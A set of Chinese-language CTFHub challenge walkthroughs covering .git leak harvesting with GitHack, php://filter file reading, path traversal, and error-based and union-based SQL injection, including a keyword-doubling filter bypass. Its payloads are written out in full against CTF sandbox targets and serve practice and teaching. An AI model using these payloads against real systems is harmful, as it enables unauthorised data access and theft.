CTFHub-粗心的小李过关攻略&GitHack下载 靶场链接https://www.ctfhub.com/#/challenge使用GitHack.py扫描靶场地址python GitHack.py http://challenge-0ba063bca946b086.sandbox.ctfhub.com:10800/.git/打开得到的html文件，发现flagGitHack下载：安装Python与Git下载并安装 Python安装 Git，确保在命令行可执行 git 命令。从 GitHub 获取源码：https://github.com/lijiejie/GitHack安装依赖库 在 GitHack 源码目录执行：pip install GitPython==2.1.11pip install pathlib==1.0.1运行GitHack 在 GitHack 目录打开命令行：python GitHack.py http://example.com/.git/将 http://example.com/.git/ 替换为目标地址。

CTFHub-random过关攻略 靶场链接https://www.ctfhub.com/#/challenge点击F12进入开发者模式，在网络模块找到服务器返回的数据包，响应头中有一个flag，可以看出是base64编码，解码得到flag

CTFHub-afr-1&afr-2过关攻略 靶场链接https://www.ctfhub.com/#/challengeafr-1打开看到尝试直接访问flag,不让访问，但是可以确定flag就在这个位置使用php任意文件读取方法尝试读取flagphp://filter/read=convert.base64-encode/resource=flag，得到了一个base64编码的字符串解码得到flagafr-2打开看到右键图片在新标签页打开题目提示是考验任意文件下载，尝试访问其他文件夹http://challenge-7572fa2e04d7bb34.sandbox.ctfhub.com:10800/img../成功找到flag点击下载打开得到答案

CTFHub-SQL注入-2过关攻略 靶场地址https://www.ctfhub.com/#/challenge初始界面查看源代码发现在请求头上添加?tips=1才能发burp发包这关无回显考虑使用报错注入，使用name=xxx' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+&pass=xxx，成功通过报错带出数据库接着开始报表发现请求被拦截了name=xxx' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+&pass=xxx通过复写select绕过，找到找到数据库fl4gname=xxx' and updatexml(1,concat(0x7e,(selselectect group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'),0x7e),1)--+&pass=xxx找到数据库fl4g中的表flagname=xxx' and updatexml(1,concat(0x7e,(selselectect group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'),0x7e),1)--+&pass=xxx查询得到答案name=xxx' and updatexml(1,concat(0x7e,(selselectect flag from fl4g),0x7e),1)--+&pass=xxx

CTFHub-SQL注入-1过关攻略 靶场地址https://www.ctfhub.com/#/challenge找出闭合符号通过id=1 and 1=2--+发现页面正常说明需要闭合通过id=1 and 1=2--+发现页面闭合符为单引号利用order by找到长度为3语法:id=1 orer by 3--+使用联合注入，select 1，2, 3搜索发现2,3位置处回显语法:id=1' and 1=2 union select 1,2,3--+找到两个数据库观察发现flgg应该是在fl4g数据库中语法:?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+查看flag表中的字段只有fllllag语法:?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="fl4g"--+直接搜索flag中的fllllag得出答案语法:?id=1' and 1=2 union select 1,2,group_concat(fllllag) from fl4g --+